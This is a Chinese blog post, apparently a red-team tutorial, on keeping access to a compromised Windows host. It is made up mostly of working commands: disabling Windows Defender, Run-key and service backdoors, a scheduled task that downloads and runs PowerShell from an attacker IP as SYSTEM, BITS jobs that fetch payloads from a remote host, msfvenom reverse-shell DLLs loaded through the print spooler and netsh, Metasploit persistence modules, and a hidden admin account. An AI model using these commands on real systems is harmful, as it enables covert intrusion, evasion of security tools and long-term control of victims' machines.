内网 | windows单机权限维持

windwos单机权限维持

前言:win10关闭windows defender

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f

然后重启~

以下大部分操作需要bypass uac

开机启动目录

权限:都可以
放在该目录下的程序在用户启动时候会自动登录。
nt以后的目录

对当前用户有效:
C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
对所有用户有效:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

nt6以前的目录:

对当前用户有效:
C:\Documents and Settings\Hunter\「开始」菜单\程序\启动
对所有用户有效:
C:\Documents and Settings\All Users\「开始」菜单\程序\启动

shift 键后门

权限:trust install

路径:C:\windows\system32\sethc.exe

我们替换sethc.exe需要trustinstall的权限。

直接把我们的exe替换成sethc.exe名字也变,当管理员5次shift的时候就会上线。

在老版本的empire中可以自动实现,但是bc-security的empire中没有相应的模块。

注册表run键注入后门(注册表自启动)

权限:提权不提权都可以。

添加一个木马程序的路径,实现开机自启动。

常用的注册表启动键有:

Run键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Winlogon\Userinit键
HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon

类似的还有很多,关键词:注册表启动键值。

原理

其实是在以下路径下生成一个vbs文件,然后把该文件的路径放到注册表中然后自启动

C:\Users\plume\AppData\Local\Temp\

这里的run键其实分为当前用户的run键,以及本地计算机的run键:
当前用户的run键:

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\Users\pentestlab\pentestlab.exe"

本地计算机的run键:

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

reg add"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

再下面的两个位置可以放任意的有效负载或DLL来实现持久性。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Dep end" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.dll"

手动利用方式

将msf生成的反弹shell的exe路径加入注册表中。(这里的路径无论是哪个都行)

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\cnm.exe"

这里的命令框需要管理员权限。

msf利用方式

在这里我们先msf进行一个上线。

在msf中有一个persistence的模块他其实就是利用,注册变启动项后门的

run persistence -h查看帮助

run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r 10.0.2.21

-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的IP,这里的端口最好别是当前建立监听的端口。

我们测试一下以上方式

然后将虚拟机关机。

连接已经掉了。

然后再msf中设置外联:

其他可以权限维持的注册键


1.Load注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load

2.Userinit注册键
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
通常该注册键下面有一个userinit.exe。该键允许指定用逗号分隔的多个程序,如userinit.exe,evil.exe。

3.Explorer\Run注册键
Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。

4.RunServicesOnce注册键
RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序,在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都有。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\RunServicesOnce

5.RunServices注册键
RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ CurrentVersion\RunServices

6.RunOnce\Setup注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup

7.RunOnce注册键
安装程序通常用RunOnce键自动运行程序,它的位置在
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
[小于NT6]HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前;HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。

8.Run注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Run是自动运行程序最常用的注册键,HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前。

计划任务后门

权限要求:未降权的管理员权限/普通用户。

原理

其实就是在msf中启动一个web,然后系统重启时候,我们固定去下载。感觉这里本地去计划去启动一个exe也是可以的

msf利用方式

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.2.21
set target 5
exploit

在命令提示符下,“ schtasks ”可执行文件可用于创建计划任务,该任务将在每个Windows登录中以 SYSTEM的形式下载并执行基于PowerShell的有效负载。win7以及之前的版本使用at,win8以及之后的版本使用schtasks.

schtasks /create /tn PentestLab /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.64.136:8080/9NaSf4QA'''))'" /sc onlogon /ru System

结果如下:

服务后门

权限:未降权的管理员权限。

命令行实现

sc create pentestlab binpath= "cmd.exe /k C:\cnm.exe" start="auto" obj="LocalSystem"

sc start pentestlab

其实就是启动一个服务来的

msf利用

metsvc模块

run metsvc –h # 查看帮助
run metsvc –A #自动安装后门
run metsvc -r #卸载现有的meterpreter服务(已生成的文件需要自己删除)

屏幕保护后门

权限要求:普通用户。

原理

涉及到以下几个注册表的位置

HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut

可以通过命令提示符或从PowerShell控制台修改或添加注册表项。由于.scr文件本质上是可执行文件, 因此两个扩展名都可以用于后门植入。

reg add "hkcu\control panel\desktop" /v cnm.EXE /d c:\cnd.exe
reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\cnm.scr

New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'SCRNSAVE.EXE' - Value 'c:\cnm.exe'

New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'SCRNSAVE.EXE' - Value 'c:\cnm.scr'

利用屏幕保护程序的持久性技术的问题在于,当用户返回并且系统未处于空闲模式时,会话将中断。但 是,红队可以在用户不在时执行其操作。如果屏幕保护程序被组策略禁用,则该技术不能用于持久性。

只有在管理员不动,且生成屏保的时候才会反弹回来,且在屏保消失后断开。。。。。这里我是没有复现成功的

其他师傅的踩坑记录:
屏保程序的正常运行必须保证这几个键都有数据才可以,因此必须把4个键都重写一遍。另外,经测试屏保程序最短触发时间为60秒,即使改成小于60的数值,依然还是60秒后执行程序。

所以应该把四个键都写一遍

reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f

BITS 权限维持

权限要求:管理员权限(不必过UAC)。


Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务。这些实用程序之一 是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传 输能力。Microsoft提供了一个名为“ bitsadmin ” 的二进制文件和PowerShell cmdlet,用于创建和 管理文件传输。
从攻击的角度来看,可以滥用此功能,以便在受感染的主机上下载有效负载(可执行文件, PowerShell脚本,Scriptlet等)并在给定时间执行这些文件,以在红队操作中保持持久性。但是,与“ bitsadmin ” 进行交互需要管理员级别的权限。执行以下命令会将恶意有效负载从远程位置下载到本地 目录。

将msf生成的的反向链接exe,放在www的html下面(注意这时候的exe的属性--安全要设置为user,直到外部能够访问呢)
下载cmd命令如下:

bitsadmin /transfer backdoor /download /priority high http://192.168.64.136/cnd.exe C:\cnd.exe

powershell命令:

Start-BitsTransfer -Source "http://192.168.64.136/cnd.exe" -Destination "C:\1.exe"

然后执行下面的命令:

bitsadmin /create 123

bitsadmin /addfile 123 "http://192.168.64.136/cnd.exe" "C:\cnd.exe"

bitsadmin /SetNotifyCmdLine 123 C:\cnd.exe NUL

bitsadmin /SetMinRetryDelay "123" 60

bitsadmin /resume 123

当我们作业在系统上执行的时候就会反弹回来

msf的利用

use exploit/multi/script/web_delivery
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.64.136
exploit

bitsadmin /SetNotifyCmdLine abc regsvr32 /s /n /u /i:http://192.168.64.136:8080/O0srhRjtNH2qQ38.sct scrobj.dll

时间服务器权限维持(dll)

原理

Windows操作系统正在利用时间提供者体系结构,以便从网络中的其他网络设备或客户端获取准确的 时间戳。时间提供者以DLL文件的形式实现,该文件位于System32文件夹中。Windows启动期间将启 动服务W32Time并加载w32time.dll。DLL加载是一种已知的技术,通常使红队攻击者有机会执行任 意代码。

由于关联的服务会在Windows启动期间自动启动,因此可以将其用作持久性机制。但是,此方法需要 管理员级别的特权,因为指向时间提供者DLL文件的注册表项存储在HKEY_LOCAL_MACHINE中。 根据系统是用作NTP服务器还是NTP客户端,使用以下两个注册表位置。

总的来说其实就是将恶意的dll放在注册表中时间服务的位置.然后操作系统同步时间的时候就启动喽。

msf利用方式

先生成恶意的dll,然后将其的位置加载到注册表中win32time服务调用的地方,就可以权限维持,但是这个方法我在复现的时候失败了.........
淦!!!又失败了

其实dll权限维持是非常隐蔽的。

后台打印权限维持(dll)

权限要求:未降权的管理员权限。

原理

后台打印程序服务负责管理Windows操作系统中的打印作业。与服务的交互通过打印后台处理程序API 执行,该API包含一个函数(AddMonitor),可用于安装本地端口监视器并连接配置、数据和监视器 文件。此函数能够将DLL注入spoolsv.exe进程,并且通过创建注册表项,red team operator可以在系 统上实现持久性。

其实总的来说就是,打印后台处理程序的api包含一个AddMonitor函数,他会将恶意的dll注入到spoolsv.exe进程。

msf利用方式

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.136 LPORT=4444 -f dll > /root/1/test.dll

生成一个恶意的dll,然后将它改名为monitor.dll,我们将改dll放在C:\Windows\System32\路径下。

然后执行以下命令,需要管理员的cmd:

reg add "hklm\system\currentcontrolset\control\print\monitors\monitor" /v "Driver" /d "monitor.dll" /t REG_SZ

重启后用户没有登陆就可以获得shell.

netsh权限维持(dll)

权限要求:未降权的管理员权限。

原理

netsh也是Windows自带的命令,是用来配置网络的命令行工具。该工具可以通过导入helperdll的方式实现功能,且DLL导入后会写进注册表,永久有效:

msf利用方式

拿到meter后~

现生成恶意的dll:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.136 LPORT=4445 -f dll > /root/1/test2.dll

然后上传。

在shell中通过导入helperdll的方式做权限维持,命令格式如下:

netsh add helper [DLL path]

然后将netsh加到自启动中

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"

如下

影子账户权限维持

net user test test123456 /add

net localgroup administrators $test /add

看了网上影子账户权限维持的文章挺尴尬的,因为win10注册表没有对应的键。

posted @ 2021-01-05 22:04  sasdsaxvcx  阅读(330)  评论(0编辑  收藏  举报